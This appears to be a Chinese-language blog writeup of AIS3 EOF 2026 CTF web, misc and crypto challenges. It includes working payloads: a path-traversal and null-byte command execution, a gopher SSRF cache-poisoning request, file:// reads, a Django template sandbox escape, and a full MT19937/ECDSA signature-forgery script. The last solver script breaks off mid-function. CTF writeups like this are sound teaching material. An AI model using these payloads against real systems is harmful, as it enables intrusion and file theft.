6900 words
35 minutes
AIS3 EOF 2026 Writeups
2025-12-27
CTF
CTF
/
writeup
AI 摘要

AIS3 EOF 2026 的網頁題目展示了多種攻擊手法。第一題透過 LLM 反混淆 Next.js 程式碼，並利用舊版本 Next.js 漏洞取得 RCE。第二題在 Bun.PHP 環境中，結合 URL 編碼、Null Byte 注入與自訂 CGI Header 繞過路徑檢查並執行任意指令。最後一題則利用 Nginx 快取機制與 SSRF 取得本地 Token，再透過 `file://` 讀取伺服器檔案取得 Flag。

AIS3 EOF 2026 Writeups#

CleanShot 2025-12-25 at 10.13.24

web#

以大方空頭來啦！#

題目用瀏覽器本身瀏覽的話，一打開 DevTools 就會導向到 奇怪的地方 假的 Cloudflare 網頁去

CleanShot 2025-12-25 at 10.59.00@2x

所以就改用 curl 去看網頁有什麼東西，透過 curl 直接抓取首頁 HTML 後，可以觀察到該網站使用 Next.js App Router，其所有 JavaScript 資源皆位於 /_next/static/chunks/ 目錄下

在首頁 HTML 中，瀏覽器會載入 app/layout-*.js 與 app/page-*.js，其中 app/page-*.js 對應目前路由 / 的主要業務邏輯。

Clean-Shot-2025-12-25-at-10-59-51-2x.png

因為 page-* 只有一個，所以就用 /_next/static/chunks/app/page-a5d5f48bdef4decb.js 丟 LLM 分析，發現字串有混淆過，經過 LLM 反混淆之後得出 C2 Server 的 URL

CleanShot 2025-12-25 at 11.04.17

這樣就有 C2 Server 的 URL 了 rpc.chainpipes.uk，然後原本就在這裡卡關了，直到有出題者有給提示出現

提示 1.#

export function middleware(req: NextRequest) {
  const { pathname } = req.nextUrl;


  if (pathname.startsWith("/api") || pathname.startsWith("/error")) {
    return NextResponse.next();
  }


  return NextResponse.rewrite(new URL("/error", req.url), { status: 500 });
}

只有 /api 跟 /error 會進到 next 的後端去，其他路徑全部被 rewrite 成假的 Cloudflare 500

提示 2.#

packages.json
{
  "name": "app",
  "version": "0.1.0",
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build",
    "start": "next start",
    "lint": "eslint"
  },
  "dependencies": {
    "next": "15.5.1-canary.39",
    "react": "18.2.0",
    "react-dom": "18.2.0"
  },
  "devDependencies": {
    <REDACTED>
  }
}

欸等等 這 next 版本看著好像挺舊的欸，用 React2Shell 戳戳看好了

先來開開看 reverse shell

CleanShot 2025-12-25 at 11.27.54@2x

image

欸？可以欸 那我就拿 flag 啦！

Bun.PHP#

src/index.js：

"/cgi-bin/:filename": async req => {
    const filename = req.params.filename;
    if (!filename.endsWith(".php")) {
        return new Response(`404\n`, { status: 404 });
    }
    const scriptPath = resolve("cgi-bin/" + filename);
    const body = await req.blob();
    const shell = $`${scriptPath} < ${body}`.env({...}).nothrow();
    // ...
}

這段程式碼有三個重點：

  1. 副檔名檢查：filename.endsWith(".php") 必須通過
  2. 路徑解析：使用 resolve(“cgi-bin/” + filename) 組合路徑
  3. Shell 執行：透過 Bun 的 $ template literal 執行指令，並將 request body 作為 stdin

先試 Path Traversal 直覺是用 ../來跳脫 cgi-bin/ 目錄，執行 /bin/sh，然後沒辦法

/cgi-bin/../../../../bin/sh

接下來 URL Encoding 繞過 Router

使用 URL encoding 將 ../ 編碼成 %2e%2e%2f

/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin%2fsh

效果：Router 視整個字串為單一 segment，req.params.filename取得 ../../../../bin/sh

resolve("cgi-bin/" + "../../../../bin/sh")

會正確解析為 /bin/sh

新問題：副檔名檢查 filename.endsWith(".php") 無法通過。

最後 Null Byte Injection 繞過副檔名檢查，在路徑結尾加上 %00.php

/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin%2fsh%00.php

原理：

  • JavaScript 層：字串為 ../../../../bin/sh\0.php，endsWith(".php") 檢查通過
  • 作業系統層：執行時遇到 null byte (\0) 會截斷，實際執行的是 /bin/sh

第四步：解決 Output 格式問題

伺服器端在回傳 Response 時，會用以下方式解析 CGI 輸出：

output.split("\r\n\r\n")

也就是假設 stdout 符合 CGI 規範，先輸出 HTTP headers，再接 body，中間以 \r\n\r\n 分隔。

問題

如果直接執行任意指令（例如 /bin/sh 或 /readflag）， 輸出內容 不包含 \r\n\r\n，會導致：

  • headers 無法正確解析
  • response body 變成空的
  • Flag 雖然被執行，但不會顯示給使用者

解法：手動輸出 CGI Headers

在送入 shell 的 stdin 中，先輸出合法的 CGI-style headers，再執行實際指令。

範例 payload（stdin 內容）：

Terminal window
echo -e "Content-Type: text/plain\r\n\r\n"; /readflag give me the flag

最終 Payload

Terminal window
curl -X POST \
  "https://TARGET/cgi-bin/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fbin%2fsh%00.php" \
  -d 'echo -e "Content-Type: text/plain\r\n\r\n"; /readflag give me the flag'

Flag: EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty}

LinkoReco#

這題是 web 黑箱，我打的時候已經有提示了，所以幫助巨大，先來看看題目 / 提示

通信係のくるみ、絶対またふざけてるよね〜。 これってさ、どんな接続テストサービスなの？


HINT: FULL ACCESS TOKEN CAN ONLY BE OBTAINED THROUGH LOCALHOST(web) http://chals1.eof.ais3.org:19080/
Author: whale120


View Hint: [Hint release] LinkoReco
Kurumi 手滑了不小心掉出了這份使用指南


1. Token 只有在使用者從 local 造訪的時候會顯示
2. 這個服務沒有正確 Token 傳入的時候不會回顯內容，只會告訴你 status code，所以有 token 會更方便使用系統
3. 眼睛睜大一點，你會發現伺服器其實有在記得一些東西，而背景圖片本來應該要被存到的...但這個功能被 ai 寫壞了，/static 的靜態檔案應該要被存到的，但是他們直接走 nginx 跑掉了
4. 在她做滲透測試的時候沒有也不需要 fuzzing / 利用 SSRF 去戳 php fpm service
View Hint: [Hint release] Cache Rule
map $request_uri $is_static {
    default 0;
    "~*^/static/.*\.(svg|png|jpg|jpeg|css)$" 1;
}

然後題目的檔案下載下來看起來有用的只有 docker-compose.yml 可以得知裡面是用 nginx + php

services:
  web:
    image: nginx:latest
    ports:
      - "19080:80"
    volumes:
      - ./conf/default.conf:/etc/nginx/conf.d/default.conf
      - ./src:/var/www/html
    depends_on:
      - php


  php:
    image: php:7.4-fpm
    volumes:
      - ./src:/var/www/html
      - ./flag.txt:/etc/REDACTED_FILENAME.txt # yes, secret.

看提示之後發現有 nginx 靜態資源的快取規則，然後他說要 localhost 存取才可以有 token，所以先根據他 nginx 那個正則表達式弄一個假的請求讓他以為是圖片把 index.php 給快取，這裡是 SSRF 的 Payload，因為 PHP 預設支援 gopher:// 所以就用

Terminal window
curl -X POST --data-urlencode "url=gopher://web:80/_GET%20/static/..%252findex.php/pwn.jpg%20HTTP/1.1%0d%0aHost:%20localhost%0d%0aConnection:%20close%0d%0a%0d%0a" http://chals1.eof.ais3.org:19080/

讓他快取之後再去讀他，就會發現他回傳 TOKEN 了

Clean-Shot-2025-12-27-at-08-25-05-2x.png

TOKEN: 200_OK_FROM_WA1NU7

接下來帶著 TOEKN 去用 php 本身支援的 file:// 讀取 Server 裡面的檔案首先讀取 /proc/self/mounts 來查看掛載點，找出 Flag 的真實檔名：

Terminal window
curl -s -X POST \
    -d 'url=file:///proc/self/mounts&send_token=1&token_input=200_OK_FROM_WA1NU7' \
    http://chals1.eof.ais3.org:19080/

然後看到這個

Clean-Shot-2025-12-27-at-08-32-16-2x.png

讀取他

Terminal window
curl -s -X POST \
    -d 'url=file:///etc/ca7_f113.txt&send_token=1&token_input=200_OK_FROM_WA1NU7' \
    http://chals1.eof.ais3.org:19080/

FLAG: EOF{たきな、スイーツ追加！それがないなら……修理？やらないから！}

CookieMonster Viewer#

跟上一題那個 Django 的概念很類似，都是輸入東西然後用他指定的模板輸入東西，反正就是輸入輸出，然後在頁面底下

Clean-Shot-2025-12-27-at-13-26-43-2x.png

有一個大線索，就是他說他是基於 Windows 10.0 之上的

然後我先隨便填一個值，然後攔截請求，發現他是去送 /api/review 的 endpoint

Clean-Shot-2025-12-27-at-13-34-34-2x.png

你可以發現他的 requests 裡面有 /templates/${template} 這樣你就多知道一個 api endpoints 了

Clean-Shot-2025-12-27-at-13-51-15-2x.png

然後隨便戳你就可以發現欸？這裡有 Windows 路徑暴露，你就可以知道程式可能是在哪裡

然後我想這八成是用 curl 類似的指令去做的回應吧，那試試看 file:// 之類的路徑？

image.png

發現可以讀取檔案，其實到這邊就卡關了，因為明明知道可以讀檔案，卻不知道有什麼檔案可以讀取，直到亂翻突然發現 Windows NTFS 有一個神奇的東西可以用 NTFS 目錄索引 ADS 列檔名 file:///C:/::$INDEX_ALLOCATION，這會輸出根目錄檔名列表，就像這個樣子

Clean-Shot-2025-12-27-at-14-01-28-2x.png

你就會發現 web server 程式的目錄就在這邊，這時候把 dockerfile 拿出來讀，你就可以發現 flag 的位置就在 C:\

Clean-Shot-2025-12-27-at-14-03-17-2x.png

然後就用第一招

Clean-Shot-2025-12-27-at-14-04-42-2x.png

然後把它讀出來，就 get flagggg !!!

EOF{w0rst_f1t_4rg_1nj3ct10n_w/_format_string!}

misc#

Welcome To The Django#

題目有給檔案，這是架構

dist-welcome-to-the-django/
├── Dockerfile
├── docker-compose.yml
├── flag
└── src/
    ├── core/
    │   └── settings.py # Django 設定檔
    └── echo/
        └── views.py    # 主要問題在這

先來看 views.py 主要處理把收到的文字轉到網頁輸出

import html
from django.http import HttpResponse
from django.template import engines
def index(request):
    engine = engines["django"]
    name = html.escape(request.GET.get("name", "World"))  # 只做 HTML escape
    if len(name) > 210:
        name = "Your name is too long!"
    template = engine.from_string(
        f"""<html>
...
        <pre>Hello, {name}!</pre>  <!-- 直接嵌入模板字串！ -->
...
</html>""".strip()
    )
    return HttpResponse(template.render({}, request))

發現有對輸入長度做限制，然後主要是 html.escape() 不會轉義 Django Template 的核心符號 {{, }}, {%, %}

這時候就可以直接在網頁上試試看

# 測試 SSTI - 使用 Django template tag
curl 'https://<instance>/?name={%25%20if%201%20%25}SSTI_WORKS{%25%20endif%20%25}'

Clean-Shot-2025-12-27-at-09-08-03-2x.png

很顯然的他可以正常的輸出，然後接下來讓 AI 去繞 Django 的沙箱

繞過沙箱拿到 Python 物件
問題: Django Template 預設禁止 __xxx__ 屬性,不能直接 {{ ''.__class__ }}
解法: 利用 Django QuerySet 的 iterator 拿到 generator frame:
pythonuser.groups           # 一個 QuerySet
  .iterator           # generator 物件
  .gi_frame           # CPython frame 物件
  .f_globals          # 當前 module 的全域字典
  ['settings']        # Django settings 物件


驗證可行:
/?name={{ user.groups.iterator.gi_frame.f_globals.settings.BASE_DIR }}
→ 輸出 "/app"  ✓

然後從題目給的 Dockerfile 檔案可以得知

RUN FLAG_DIR=$(head -c 16 /dev/urandom | xxd -p) && \
    mkdir /flag_$FLAG_DIR && \
    mv /flag /flag_$FLAG_DIR/flag

flag 在 /flag_<32位隨機hex>/flag 並且目錄名長度固定 = len("flag_") + 32 = 37

接下來就直接丟給 AI 去造 < 210 長度的 Payload

{# 從根目錄遍歷 #}
{% for p in user.groups.iterator.gi_frame.f_globals.settings.BASE_DIR.parent.iterdir %}


  {# 找長度 37 的目錄 (就是 flag_xxx) #}
  {% if p.name|length == 37 %}


    {# 讀該目錄下所有檔案 #}
    {% for f in p.iterdir %}
      {% if f.is_file %}
        {{ f.read_text }}
      {% endif %}
    {% endfor %}


  {% endif %}
{% endfor %}
```


**為什麼這樣寫**:
- `settings.BASE_DIR` = `/app`
- `.parent` = `/` (根目錄)
- `.iterdir` 遍歷根目錄所有檔案/資料夾
- `p.name|length == 37` 精準定位 `flag_<隨機>` 目錄
- `f.read_text` 讀取檔案內容 (就是 flag)


壓縮成一行 (210 字元限制):
```
{%for p in user.groups.iterator.gi_frame.f_globals.settings.BASE_DIR.parent.iterdir%}{%if p.name|length == 37%}{%for f in p.iterdir%}{%if f.is_file%}{{f.read_text}}{%endif%}{%endfor%}{%endif%}{%endfor%}

然後直接送出

Clean-Shot-2025-12-27-at-12-22-55-2x.png

Crypto#

我很多都是直接丟給 AI 爆出來的，對不起我真的不會密碼學 :sob:

dogdog’s proof#

弱點一： ECDSA 的 k 來自可預測的 MT19937

服務端在產生 ECDSA nonce 時使用 k = getrandbits(255)，而同一個 Python random 物件同時也用在 wowoof 的輸出。
wowoof 的輸出形式為 getrandbits(134) ^ getrandbits(134)，等價於 MT19937 連續輸出的線性組合。每次 134 bits 會消耗 5 個 32-bit word，因此一筆 wowoof 大致對應 10 個 32-bit 輸出的線性關係。


由於 MT19937 的輸出本質上是線性的，可以將每一個輸出 bit 表示為內部 state bits 的線性方程。只要蒐集足夠多的 wowoof 輸出，就能建立完整的線性方程組，最後透過線性消去法還原整個 MT19937 的內部狀態（共 624 × 32 bits）。

弱點二：同一訊息簽兩次可消去 salt

簽章流程中，雜湊值計算為
z = sha256(salt || m) mod n
其中 salt 對攻擊者不可見。


如果對同一個訊息 m 簽兩次，得到兩組簽章：


s1 = (z + r1 · d) · k1⁻¹ mod n
s2 = (z + r2 · d) · k2⁻¹ mod n


由這兩式可以直接解出私鑰 d：


d = (s1 · k1 − s2 · k2) · (r1 − r2)⁻¹ mod n


再代回任一組簽章即可求得：


z = s1 · k1 − r1 · d mod n


如此一來，便能得到 sha256(salt || m) 的值（mod n）。即使不知道 salt 的實際內容，這個 z 已足以進行後續攻擊。

弱點三：SHA-256 長度擴展攻擊（length extension）

驗證端要求被簽章的訊息中必須包含字串 i_am_the_king_of_the_dog。
由於使用的是 sha256(salt || m)，而 SHA-256 屬於 Merkle–Damgård 結構，因此可以進行長度擴展攻擊，構造出：


sha256(salt || m || padding || suffix)


其中 salt 長度固定為 64 bytes。m 可以選擇空字串（或任何不含關鍵字的訊息）。
透過 length extension，可以在不知道 salt 的情況下計算延展後的 hash，得到新的 z′，對應訊息即包含目標字串。


接著，只要自行選擇一個隨機 k，使用已知的私鑰 d 與新的 z′ 產生一組合法的 ECDSA 簽章，即可通過驗證。

流程摘要

首先收集約 180 組 wowoof 輸出，數量足以解出 19968 bits 的 MT19937 內部狀態，並用預測結果驗證狀態是否正確。
接著對同一個空訊息簽章兩次，利用已還原的 MT 狀態取得 k1、k2，進而解出私鑰 d 與對應的 z。
然後針對 suffix = i_am_the_king_of_the_dog 執行 SHA-256 的 length extension，得到新的雜湊值 z′。
最後使用隨機 k 產生一組合法的 ECDSA 簽章，送交 wowoOf 驗證，即可取得 flag。
solve_mt.py
#!/usr/bin/env python3
import socket
import re
import random
import secrets
import sys


HOST = "chals1.eof.ais3.org"
PORT = 19081


# Curve: secp256r1 (prime256v1)
P = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
A = 0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc  # -3 mod P
B = 0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b
Gx = 0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296
Gy = 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5
N = 115792089210356248762697446949407573529996955224135760342422259061068512044369


# MT19937 parameters
MT_N = 624
MT_M = 397
MT_UPPER = 0x80000000
MT_LOWER = 0x7fffffff
MT_A = 0x9908B0DF
MT_A_BITS = [i for i in range(32) if (MT_A >> i) & 1]


SHA256_K = [
    0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1,
    0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
    0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786,
    0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
    0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147,
    0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
    0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b,
    0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
    0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a,
    0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
    0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2,
]




def rr(x, n):
    return ((x >> n) | (x << (32 - n))) & 0xffffffff




def sha256_compress(state, chunk):
    w = [0] * 64
    for i in range(16):
        w[i] = int.from_bytes(chunk[i * 4:(i + 1) * 4], "big")
    for i in range(16, 64):
        s0 = rr(w[i - 15], 7) ^ rr(w[i - 15], 18) ^ (w[i - 15] >> 3)
        s1 = rr(w[i - 2], 17) ^ rr(w[i - 2], 19) ^ (w[i - 2] >> 10)
        w[i] = (w[i - 16] + s0 + w[i - 7] + s1) & 0xffffffff


    a, b, c, d, e, f, g, h = state
    for i in range(64):
        s1 = rr(e, 6) ^ rr(e, 11) ^ rr(e, 25)
        ch = (e & f) ^ (~e & g)
        temp1 = (h + s1 + ch + SHA256_K[i] + w[i]) & 0xffffffff
        s0 = rr(a, 2) ^ rr(a, 13) ^ rr(a, 22)
        maj = (a & b) ^ (a & c) ^ (b & c)
        temp2 = (s0 + maj) & 0xffffffff


        h = g
        g = f
        f = e
        e = (d + temp1) & 0xffffffff
        d = c
        c = b
        b = a
        a = (temp1 + temp2) & 0xffffffff


    return [
        (state[0] + a) & 0xffffffff,
        (state[1] + b) & 0xffffffff,
        (state[2] + c) & 0xffffffff,
        (state[3] + d) & 0xffffffff,
        (state[4] + e) & 0xffffffff,
        (state[5] + f) & 0xffffffff,
        (state[6] + g) & 0xffffffff,
        (state[7] + h) & 0xffffffff,
    ]




def sha256_pad(msg_len):
    pad = b"\x80"
    pad_len = (56 - (msg_len + 1) % 64) % 64
    pad += b"\x00" * pad_len
    pad += (msg_len * 8).to_bytes(8, "big")
    return pad




def sha256_continue(digest_bytes, total_len, suffix):
    state = [int.from_bytes(digest_bytes[i * 4:(i + 1) * 4], "big") for i in range(8)]
    data = suffix + sha256_pad(total_len + len(suffix))
    for i in range(0, len(data), 64):
        state = sha256_compress(state, data[i:i + 64])
    return b"".join(x.to_bytes(4, "big") for x in state)




def inv_mod(x, mod):
    return pow(x, -1, mod)




def point_add(p1, p2):
    if p1 is None:
        return p2
    if p2 is None:
        return p1
    x1, y1 = p1
    x2, y2 = p2
    if x1 == x2:
        if (y1 + y2) % P == 0:
            return None
        return point_double(p1)
    lam = ((y2 - y1) * inv_mod((x2 - x1) % P, P)) % P
    x3 = (lam * lam - x1 - x2) % P
    y3 = (lam * (x1 - x3) - y1) % P
    return (x3, y3)




def point_double(p1):
    if p1 is None:
        return None
    x1, y1 = p1
    lam = ((3 * x1 * x1 + A) * inv_mod((2 * y1) % P, P)) % P
    x3 = (lam * lam - 2 * x1) % P
    y3 = (lam * (x1 - x3) - y1) % P
    return (x3, y3)




def scalar_mult(k, point):
    result = None
    addend = point
    while k:
        if k & 1:
            result = point_add(result, addend)
        addend = point_double(addend)
        k >>= 1
    return result




def ecdsa_sign(z, secret, k):
    r_point = scalar_mult(k, (Gx, Gy))
    r = r_point[0] % P
    s = (z + (r % N) * secret) % N
    s = (s * inv_mod(k, N)) % N
    return r, s




def xor_words(a, b):
    return [a[i] ^ b[i] for i in range(32)]




def and_mask(word, mask):
    return [word[i] if (mask >> i) & 1 else 0 for i in range(32)]




def shift_right(word, k):
    return [word[i + k] if i + k < 32 else 0 for i in range(32)]




def shift_left(word, k):
    return [word[i - k] if i - k >= 0 else 0 for i in range(32)]




def temper(word):
    y = xor_words(word, shift_right(word, 11))
    y = xor_words(y, and_mask(shift_left(y, 7), 0x9D2C5680))
    y = xor_words(y, and_mask(shift_left(y, 15), 0xEFC60000))
    y = xor_words(y, shift_right(y, 18))
    return y




def twist(state):
    for i in range(MT_N):
        x = xor_words(and_mask(state[i], MT_UPPER), and_mask(state[(i + 1) % MT_N], MT_LOWER))
        x_shift = shift_right(x, 1)
        x0 = x[0]
        if x0:
            for j in MT_A_BITS:
                x_shift[j] ^= x0
        state[i] = xor_words(state[(i + MT_M) % MT_N], x_shift)
    return state




def getrandbits_expr_le(words):
    w0, w1, w2, w3, w4 = words
    bits = []
    bits.extend(w0)
    bits.extend(w1)
    bits.extend(w2)
    bits.extend(w3)
    bits.extend(w4[26:32])
    if len(bits) != 134:
        raise RuntimeError("bad bit length")
    return bits




def getrandbits_expr_be(words):
    w0, w1, w2, w3, w4 = words
    bits = []
    bits.extend(w4[26:32])
    bits.extend(w3)
    bits.extend(w2)
    bits.extend(w1)
    bits.extend(w0)
    if len(bits) != 134:
        raise RuntimeError("bad bit length")
    return bits




def rng_getrandbits(rng, k, mode):
    num_words = (k + 31) // 32
    rbits = k % 32
    words = [rng.getrandbits(32) for _ in range(num_words)]
    if mode == "le":
        if rbits:
            words[-1] >>= (32 - rbits)
        acc = 0
        for i, w in enumerate(words):
            acc |= w << (32 * i)
        return acc
    if mode == "be":
        acc = 0
        for w in words:
            acc = (acc << 32) | w
        if rbits:
            acc >>= (32 - rbits)
        return acc
    raise ValueError("unknown mode")




def recover_mt_state(wowoof_outputs, expr_fn):
    num_vars = MT_N * 32
    basis_coeff = [0] * num_vars
    basis_const = [0] * num_vars


    def add_equation(coeff, const):
        row_coeff = coeff
        row_const = const
        while row_coeff:
            pivot = row_coeff.bit_length() - 1
            if basis_coeff[pivot]:
                row_coeff ^= basis_coeff[pivot]
                row_const ^= basis_const[pivot]
            else:
                basis_coeff[pivot] = row_coeff
                basis_const[pivot] = row_const
                return
        if row_const:
            raise RuntimeError("inconsistent equations")


    # Build initial symbolic state
    state = []
    for i in range(MT_N):
        word = []
        base = i * 32
        for b in range(32):
            word.append(1 << (base + b))
        state.append(word)


    idx = 0


    def next_word_expr():
        nonlocal state, idx
        if idx >= MT_N:
            state = twist(state)
            idx = 0
        out = temper(state[idx])
        idx += 1
        return out


    for out_val in wowoof_outputs:
        words = [next_word_expr() for _ in range(10)]
        o1 = expr_fn(words[0:5])
        o2 = expr_fn(words[5:10])
        for i in range(134):
            coeff = o1[i] ^ o2[i]
            const = (out_val >> i) & 1
            add_equation(coeff, const)


    rank = sum(1 for row in basis_coeff if row)
    if rank < num_vars:
        raise RuntimeError(f"rank too low: {rank}/{num_vars}")


    # Solve
    solution_bits = 0
    solution = [0] * num_vars
    for i in range(num_vars):
        if basis_coeff[i]:
            parity = (basis_coeff[i] & solution_bits).bit_count() & 1
            val = basis_const[i] ^ parity
            solution[i] = val
            if val:
                solution_bits |= (1 << i)
        else:
            solution[i] = 0


    state_vals = []
    for i in range(MT_N):
        val = 0
        base = i * 32
        for b in range(32):
            if solution[base + b]:
                val |= 1 << b
        state_vals.append(val)


    return state_vals




def recv_until(sock, marker):
    data = b""
    while marker not in data:
        chunk = sock.recv(4096)
        if not chunk:
            break
        data += chunk
    return data




def send_line(sock, line):
    if isinstance(line, str):
        line = line.encode()
    sock.sendall(line + b"\n")




def get_wowoof(sock):
    send_line(sock, "wowoof")
    data = recv_until(sock, b"option > ")
    text = data.decode(errors="ignore")
    m = re.search(r"WooFf wOOF (\d+)'f", text)
    if not m:
        raise RuntimeError("failed to parse wowoof output")
    return int(m.group(1))




def sign_msg(sock, msg_bytes):
    send_line(sock, "wowooF")
    recv_until(sock, b"> ")
    send_line(sock, msg_bytes.hex())
    data = recv_until(sock, b"option > ")
    text = data.decode(errors="ignore")
    m1 = re.search(r"wwwooOf: (0x[0-9a-fA-F]+)", text)
    m2 = re.search(r"wwWooOf: (0x[0-9a-fA-F]+)", text)
    if not (m1 and m2):
        raise RuntimeError("failed to parse signature")
    r = int(m1.group(1), 16)
    s = int(m2.group(1), 16)
    return r, s




def verify_msg(sock, r, s, msg_bytes):
    send_line(sock, "wowoOf")
    recv_until(sock, b"wwwooOf > ")
    send_line(sock, hex(r))
    recv_until(sock, b"wwWooOf > ")
    send_line(sock, hex(s))
    recv_until(sock, b"> ")
    send_line(sock, msg_bytes.hex())
    data = recv_until(sock, b"option > ")
    return data.decode(errors="ignore")




def main():
    num_wowoof = 180
    sock = socket.create_connection((HOST, PORT))
    recv_until(sock, b"option > ")


    wowoof_outputs = []
    for _ in range(num_wowoof):
        wowoof_outputs.append(get_wowoof(sock))


    mode = None
    try:
        state_vals = recover_mt_state(wowoof_outputs, getrandbits_expr_le)
        mode = "le"
    except RuntimeError:
        state_vals = recover_mt_state(wowoof_outputs, getrandbits_expr_be)
        mode = "be"


    rng = random.Random()
    rng.setstate((3, tuple(state_vals) + (0,), None))


    # sanity check: reproduce wowoof outputs
    for expected in wowoof_outputs[:5]:
        got = rng_getrandbits(rng, 134, mode) ^ rng_getrandbits(rng, 134, mode)
        if got != expected:
            raise RuntimeError("state recovery failed (wowoof mismatch)")


    # advance RNG to current position
    rng = random.Random()
    rng.setstate((3, tuple(state_vals) + (0,), None))
    for _ in range(num_wowoof):
        rng_getrandbits(rng, 134, mode)
        rng_getrandbits(rng, 134, mode)


    msg0 = b""  # empty message
    r1, s1 = sign_msg(sock, msg0)
    k1 = rng_getrandbits(rng, 255, mode)
    r1_check = scalar_mult(k1, (Gx, Gy))[0] % P
    if r1_check != r1:
        raise RuntimeError("k1 mismatch; RNG alignment failed")


    r2, s2 = sign_msg(sock, msg0)
    k2 = rng_getrandbits(rng, 255, mode)
    r2_check = scalar_mult(k2, (Gx, Gy))[0] % P
    if r2_check != r2:
        raise RuntimeError("k2 mismatch; RNG alignment failed")


    r1_mod = r1 % N
    r2_mod = r2 % N
    if r1_mod == r2_mod:
        raise RuntimeError("r1 == r2, retry with more signatures")


    secret = ((s1 * k1 - s2 * k2) % N) * inv_mod((r1_mod - r2_mod) % N, N) % N
    z = (s1 * k1 - r1_mod * secret) % N


    # recover full hash (two candidates)
    cand_hashes = [z]
    if z + N < (1 << 256):
        cand_hashes.append(z + N)


    orig_len = 64 + len(msg0)
    pad = sha256_pad(orig_len)
    suffix = b"i_am_the_king_of_the_dog"
    forged_msg = msg0 + pad + suffix


    for h_int in cand_hashes:
        digest = h_int.to_bytes(32, "big")
        total_len = orig_len + len(pad)
        ext_digest = sha256_continue(digest, total_len, suffix)
        z_ext = int.from_bytes(ext_digest, "big") % N


        while True:
            k = secrets.randbelow(N - 1) + 1
            r, s = ecdsa_sign(z_ext, secret, k)
            if r != 0 and s != 0:
                break


        out = verify_msg(sock, r, s, forged_msg)
        if "flag" in out or "EOF" in out or "{" in out:
            print(out)
            return


    print("exploit failed")




if __name__ == "__main__":
    main()

flag: EOF{once_a_wise_dog_said_:_hi_._but_he_didn't_know_why_:D}

65537#

flag: EOF{https://www.youtube.com/watch?v=hyvPxeLx_Yg}

  • 先用 37 次有限差分的短整數關係（LLL 壓縮）對 cs 做乘積差分取 gcd，得到含有大平滑因子的模數，再去掉小質因子後得到真正的 n。

  • 有了 n 後，在模 n 下做「比值差分」序列，得到 g_k = m^{Δ^k e(x0)}。

  • 用前向差分系數矩陣把 b_k = Δ^k e(x0) / k! 表成多項式係數 f_i 的線性組合，逐步用小範圍離散對數（0..65536）解出全部 f_i。

  • 算出所有 e_i，選兩個互質指數做 common modulus attack 還原 m。

```python
import ast
import math
import sys


sys.set_int_max_str_digits(0)


try:
    from sage.all import Matrix, ZZ, Integer, gcd
except ImportError as exc:
    raise SystemExit("Run with: sage -python solve.py") from exc




ORDER = 37
X0 = 65537
NVALS = 87
LIMIT = 65537




def load_cs(path="output.txt"):
    with open(path, "r") as f:
        s = f.read()
    return ast.literal_eval(s.split("=", 1)[1].strip())




def relation_vectors(nvals, order, count=4):
    binom = [(-1) ** (order - t) * Integer(math.comb(order, t)) for t in range(order + 1)]
    rows = []
    for s in range(nvals - (order + 1) + 1):
        v = [0] * nvals
        for t, coef in enumerate(binom):
            v[s + t] = int(coef)
        rows.append(v)
    B = Matrix(ZZ, rows)
    Blll = B.LLL()
    rows_sorted = sorted(Blll.rows(), key=lambda r: r.norm())
    return [list(map(int, r)) for r in rows_sorted[:count]]




def relation_value(cs, vec):
    A = Integer(1)
    B = Integer(1)
    for c, e in zip(cs, vec):
        if e > 0:
            A *= Integer(c) ** e
        elif e < 0:
            B *= Integer(c) ** (-e)
    return abs(A - B)




def reduce_candidate(G, cs, order, max_shifts=20, target_bits=1600):
    binom = [(-1) ** (order - t) * math.comb(order, t) for t in range(order + 1)]
    cur = int(G)
    for s in range(min(max_shifts, len(cs) - order)):
        A = 1
        B = 1
        for t, coef in enumerate(binom):
            c = cs[s + t] % cur
            if coef > 0:
                A = (A * pow(c, coef, cur)) % cur
            elif coef < 0:
                B = (B * pow(c, -coef, cur)) % cur
        r = (A - B) % cur
        g = math.gcd(cur, r)
        if 1 < g < cur:
            cur = g
            if cur.bit_length() <= target_bits:
                break
    return cur




def strip_small_factors(n, bound=10000):
    cur = n
    for p in range(2, bound + 1):
        while cur % p == 0:
            cur //= p
    return cur




def forward_differences(cs, n):
    seq = [c % n for c in cs]
    levels = [seq]
    for _ in range(1, ORDER):
        prev = levels[-1]
        nxt = []
        for i in range(len(prev) - 1):
            inv = pow(prev[i], -1, n)
            nxt.append((prev[i + 1] * inv) % n)
        levels.append(nxt)
    return [levels[k][0] for k in range(ORDER)]




def build_matrix():
    M = [[0] * ORDER for _ in range(ORDER)]
    for k in range(ORDER):
        for j in range(ORDER):
            d = (ORDER - 1) - j
            if k > d:
                continue
            s_val = 0
            for i in range(k + 1):
                s_val += ((-1) ** (k - i)) * math.comb(k, i) * (X0 + i) ** d
            M[k][j] = s_val // math.factorial(k)
    return M




def dlog_table(base, n, limit=LIMIT):
    val = 1
